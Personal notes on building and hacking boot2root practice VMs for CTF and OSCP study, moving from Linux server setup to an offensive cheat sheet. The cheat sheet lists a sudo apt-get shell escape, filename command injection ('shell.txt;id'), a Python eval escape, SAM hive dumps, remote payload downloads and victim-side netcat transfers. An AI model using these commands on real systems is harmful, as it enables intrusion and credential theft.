boot2root

These are sort of machines that you get on HackThebox/TryHackMe/Vulnhub. You get an IP and then you just start with Nmap and find your way to become a root user. These actually helped me get my OSCP.

Making boot2root

General notes

Misc

- If we want to add a in the sudoers file(/etc/sudoers):
  - `john ALL=(root) /command/that/is/allowed`
  - This would give user `john` the power to run the mentioned command as root
- If you need tor for python script:
  - https://www.sylvaindurand.org/use-tor-with-python/
- Remove a user from sudoer
  - `sudo deluser USERNAME sudo`
- Send message to another user
  - `mail -s "Your message" <username>`
  - EX: `mail -s "hey" www-data`
  - You might need to install mailutils to use `mail` command
- Restrict user to their own home directory
  - `sudo chown -R user:user userdir/`
  - `sudo chmod 0750 userdir/`
- If you want some kind of cronjob setup run
  - `crontab -e`
  - crontab.guru
- To make your own man page

```
$ cp nuseradd /usr/local/man/man8/nuseradd.8
$ gzip /usr/local/man/man8/nuseradd.8
$ man nuseradd
```

- Portknocking
  - https://blog.rapid7.com/2017/10/04/how-to-secure-ssh-server-using-port-knocking-on-ubuntu-linux/
  - http://technical-qa.blogspot.com/2014/10/solution-to-knockd-wont-work-open-port.html

Python script to binary

- You can use `cython` or `nuitka` to compile python script to an elf.
  - nuitka does everything for you.
  - If using `cython` then do the following:
    - `cython file.py --embed`
      - use `-3` or `-2` to use python versions
    - `gcc -Os -I /usr/include/python3.5m -o file file.c -lpython3.5m -lpthread -lm -lutil -ldl`

Fixing interface name

- When we need to fix the damn interface name so dynamic dhcp is working
  - https://mzfr.github.io/interface-names

Add a new user:

```
sudo adduser <username>
```

Setting up FTP server

- Install vsftpd
  - `sudo apt install vsftpd`
- make a backup copy of the config file.
  - `cp /etc/vsftpd.conf /etc/vsftpd.conf.orig`
- Edit the options accordingly
- https://www.tecmint.com/install-ftp-server-in-ubuntu/
- https://www.digitalocean.com/community/tutorials/how-to-set-up-vsftpd-for-anonymous-downloads-on-ubuntu-16-04

Edit /etc/issue

To be able to display the IP of the machine right when it starts you can edit /etc/issue

```
IP: \4{eth0}
```

This only display the IP and if you want something else you can add that too like the name of the machine or something else.

Setup Wordpress

The best thing is to follow this article

https://www.tecmint.com/install-wordpress-on-ubuntu-16-04-with-lamp/

Make sure to verify which is the latest version for PHP and wordpress.

Setting up virtual hosts on apache2

- Install apache2 and then in `var/www/html` will be the default.
- Now in `/etc/apache2/sites-available` do the following:
  - `cp 000-default.conf <name-of-virtual-host>.conf`
- Open that newly creadted `.conf` file and make changes to `DocumentRoot` and `ServerName` values.
  - `DocumentRoot` - this will be the directory which will have the files for the virtual host
  - `ServerName` - URL/IP/Domain on which this has to be accessed.

```
ServerAdmin webmaster@localhost
ServerName mehtab.zafar.tech
DocumentRoot /var/www/sites
```

here when someone try to visit `mehtab.zafar.tech` then the apache will use files from `/var/www/sites` else for other domain/IP it will use the default configuration.

- Run the following command:

```
a2ensite <name-of-the-conf-without-extension>
```

Ex: `a2ensite mehtab` - where configuration file name was `mehtab.conf`

- Now just restart apache

Setting up Postgres

To install postgres on ubuntu you can run:

```
sudo apt install postgresql
```

After that you can login as `postgres` user and create DB or add users.

- To login as postgres run: `sudo -u postgres psql`
- Then you can run following commands to create a new DB and add a new USER which have GRANT on that DB.

```
create database <DB_NAME>;
create user <USERNAME> with password encrypted password '<your-password>';
grant all privileges on database <DB_NAME> to <USERNAME>;
```

Extra commands in psql

- `\l` - list all DB
- `\du` - list all users
- `\c <DBNAME>` - Use the specified DB

User privilege exploitation idea

This is something that came up when I was talking with @DCAU about making VM etc

---

If you remove a user, but leave their sudo privileges in place, can a user be created with that same name and exploit the sudo privileges?

- The answer is yes.

How?

- Created test1 user
- Give test1 sudo access to apt-get
- User freddy had access to be able to use adduser and deluser.
- Freddy deleted test1 user - deluser --home-remove test1 - and then added a new test1 user and gave it a password.

- Freddy then did a su to test1, and ran the following:

sudo apt-get changelog apt !/bin/sh

#includedir /etc/sudoers.d test1 ALL=(ALL) NOPASSWD: /usr/bin/apt-get freddy ALL=(ALL) NOPASSWD: /usr/sbin/adduser,/usr/sbin/deluser

---

#includedir /etc/sudoers.d %helpdesk ALL=(ALL) NOPASSWD: /usr/bin/apt-get freddy ALL=(ALL) NOPASSWD: /usr/sbin/adduser,/usr/sbin/deluser

---

Add group helpdesk groupadd helpdesk

Create user and add to helpdesk group sudo adduser test2 sudo adduser test2 helpdesk

#includedir /etc/sudoers.d %helpdesk ALL=(ALL) NOPASSWD: /usr/bin/apt-get freddy ALL=(ALL) NOPASSWD: /usr/sbin/adduser,/usr/sbin/deluser

---

Problem with last version, is that user can add themselves to the helpdesk group and then log off and back on with sudo privs of helpdesk.

---

sudo adduser test2 sudo adduser test2 helpde

Do's and Don'ts

These are the must **do's** and **don'ts** of making the boot2root machine.

- Always link `.bash_history` file to `/dev/null`
  - `ln -sf /dev/null .bash_history`
- If you for some reason used your SSH key to easily access the VM for testing or any other purpose make sure to remove it.
- Test your VM with lowest possible hardware configuration so you know when your thing will crash.
- Make sure to thoroughly test all the things so that you don't mess up.
  - If you want other people to test your VM then contact m0tleycr3w
    - I get all my VMs test by them :-)
- Use Fixed memory allocation since that is much faster
  - Not a fixed rule but it's prefered.
- Assign 1 GB RAM first and then test the VM if it's slow or something then extend the RAM .
  - This helps to test VM on low specs. We might have 8/16GB ram but the person doing might not have that.
- For ubuntu always use the `server` version and not the GUI/full ISO
  - http://old-releases.ubuntu.com/releases/

Running Services

In my experience it's better to use systemd rather then putting your head under this supervisor setup

Supervisor

- For supervisor when you want to autostart some service on boot

https://gist.github.com/mozillazg/6cbdcccbf46fe96a4edd

```
[program:name]
directory=/opt/1337
command=flask run --port 1337
autostart=true
autorestart=true
stopsignal=INT
stopasgroup=true
killasgroup=true
```

Then restart the `supervisor` service

```
sudo systemctl restart supervisor.service
```

And then you can check if the service is running by executing

```
supervisorctl status
```

You should see the new app.

Sometime we end up getting error like

```
unix:\\\var\run\supervisor.sock no such file
```

or

```
error: <class socket.sock>.........
```

So the fix that seemed to work for me was to run `echo_supervisord_conf > /etc/supervisor/supervisord.conf`

and then reread the config with

```
supervisorctl -c /etc/supervisord/supervisord.conf reread
```

and then we should see all the services running.

Systemd service file

In my experience it's better to just make a `<name>.service` file in `/etc/systemd/system` to setup a service rather than trying to mess with supervisor.

Xinetd

If you want something to do with shells or a service accesible via `nc`/`telnet` then it's better to setup a `xinetd` service.

- https://www.cyberciti.biz/faq/linux-how-do-i-configure-xinetd-service/
- Sometimes when you start the xinetd service you might get an error about `no service game/tcp` etc if this is the case just open `/etc/services` and add your service name with the port you are running it on.

```
game        1337/tcp        #this is a game
```

Here `game` is the name of the service and `1337` is the port on which it is running. Text after `#` is just a comment.

Other application with Systemd

This is just an example of `flask` application but in the similar manner you can run any other service as well. Ex: `apache2`

- https://blog.miguelgrinberg.com/post/running-a-flask-application-as-a-service-with-systemd

Basically make a file named `whatevernameyouwant.service` in `/etc/systemd/system` and write this:

```
[Unit]
Description=web application
After=network.target

[Service]
User=www-data
WorkingDirectory=/opt/webapp
ExecStart=/bin/bash -c "/usr/local/bin/flask run --host 0.0.0.0 --port 80 "
Restart=always

[Install]
WantedBy=multi-user.target
```

fail2ban

To setup fail2ban on ubuntu for the SSH port we do the following:

Installation

- `apt install fail2ban`
- Allow SSH through ufw
  - `ufw allow ssh`
  - `ufw enable`

Configuration

- Move the default config file:
  - `cp /etc/fail2ban/fail2ban.conf /etc/fail2ban/fail2ban.local`
- Now we can start editing the local copy we made. You can choose not to edit it since the default config is also pretty solid.
- Now we can configure the `jail` setting.
  - `cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local`
  - now make changes to the local jail file as desired.

Hacking boot2root

Service Enumeration

SMB

- https://0xdf.gitlab.io/2018/12/02/pwk-notes-smb-enumeration-checklist-update1.html
- `nmap IP --script 'smb-vuln\*' -p139,445`
- `smbmap -H IP`
- Sometimes the following error occurs - `protocol negotiation failed: NT_STATUS_CONNECTION_DISCONNECTED` - https://forums.offensive-security.com/showthread.php?26657-enum4linux-and-smbclient-fix-for-quot-protocol-negotiation-failed-NT_STATUS_CONNECTION_DISCONNECTED-quot&highlight=version - The fix was to add `client min protocl = LANMAN1`

SQLi

- Try basic payloads - https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/README.md
- **Don't use sqlmap**
- https://www.exploit-db.com/raw/12975 - MSSQL - see MAIL

RDP

- If in remmina it doesn't connect try to change the `security protocol negotiation` to RDP
- If in case you have to use proxy in remmina and SSH tunnel won't do then do the following - Add the connection via remmina GUI without any SSH tunnel - go to `.local/share/remmina/` and find the file - Add all proxy setting there(https://gitlab.com/Remmina/Remmina/-/merge_requests/1927) - Backups mostly contains .gz or .bak, if any file with non root perms is there or any file without those extension then check that out.

General

- If you have downloaded the VM from Website like Vulnhub or any other website then make sure you run it in `host-only` mode. Even though Vulnhub can be super trusted but still it's good to be paranoid.
  - Most of the VM with `bridged` as their default network setting.
  - Also if you want to be super paranoid then go for NAT setting but I've had issues with some VMs in `NAT` network setting.
- Enumeration is the Key but only till a certain level. Lot of times the way is too guessy, too CTF type and that point `enumeration` doesn't help at all. So if you have done the basics of enumeration like for HTTP service fuzzing, dirsearch etc then don't worry it's totally okay to ask for a damn hint.
- Always take a good look of what you've found
- php file type can be bypassed by php5
- If in a file upload the output is shown meaning it's processing the upload
  - exploit it with command injection in filename like "shell.txt;id"
- Change Static IP
  - `sudo ifconfig vmnet1 10.10.10.11 netmask 255.255.255.0`
- VMware /dev/vmmon not loaded
  - `sudo vmware-modconfig --console --install-all`
- `sudo vmware-modconfig --console --install-all`
  - Fix the issue of vmware modprobe error
- If cracking password for kdbx takes longer time then try finding a key file for it.
- For git repos always check out the git logs
- If for some reason dirsearch or gobuster doesn't work on any URL or if they show every URL as the right try to use wfuzz
  - `wfuzz -c -w wordlist --hw 12 --hc 400 URL`n

Windows

- Reverse shell for windows
  - https://www.hackingarticles.in/get-reverse-shell-via-windows-one-liner/
  - If you can upload any file then try to upload `nc.exe` and use that.
- To get enumeration file use
  - `certutils -urlcache -split -f URL`
  - when powershell is present
    - `Invoke-WebRequest URL -outfile file`
- Use powerups.ps1 enumeration script
  - https://raw.githubusercontent.com/HarmJ0y/PowerUp/master/PowerUp.ps1
  - Run it with `powershell.exe -ExecutionPolicy Bypass -File .\powersup.ps1`

- checking privileges

```
whoami /all
whoami /priv
```

- https://github.com/itm4n/PrintSpoofer - Incase we need to exploit some `priv` - Check Disco
- Dump SAM and System `reg save HKLM\SAM c:\SAM reg save HKLM\System c:\System`
- Check file and folder permissions `cacls` or `icacls`
- In order to see service information - `sc.exe qc <servicename>`
- Path Traversal - https://gracefulsecurity.com/path-traversal-cheat-sheet-windows/
- Always check `whoami /priv`
- In windows run winpeas.exe like `.\winpeas.exe`
- If doing manual enum run - `reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"` i

Linux

- Change host timezone
  - `echo "Asia/kolkata" > /etc/timezone`
  - `dpkg-reconfigure -f noninteractive tzdata`
- Always run dirsearch with extensions
  - `python dirsearch.py -f -e html,php,tar.gz,txt,xml,zip,jpg,png,jpeg -u IP LIST`
- Port knocking with nmap
  - `for x in 066 666 3432; do nmap -Pn --max-retries 0 -p $x 10.10.10.10; done`
  - If you find set of 3 numbers possible options is port knocking
- Transfer with ncat
  - `nc -q1 -lvp 1234 < file` - on victim machine
  - `nc IP 1234> file` - on attackers machine
- use `dig axfr somedomain` to actually find other zone tranfser
  - checkout tempus fugit writeup
- If enum/sudo doesn't do any good.....check for writeable dirs
  - `find / -type d 2>/dev/null`
- LFI to RCE via SSH log poisoning
  - https://www.hackingarticles.in/rce-with-lfi-and-ssh-log-poisoning/
- To escape eval in python
  - https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html
  - `eval("**import**('os').system('ls')#")``
- Remote port forwarding:
  - ssh -R port-to-frwd:internal-IP:service-port mzfr@user-IP
  - `ssh -R 44325:192.168.100.1:443 mzfr@192.168.56.1`
- If you don't find anything in /opt or /var/ then checkout /logs and /backups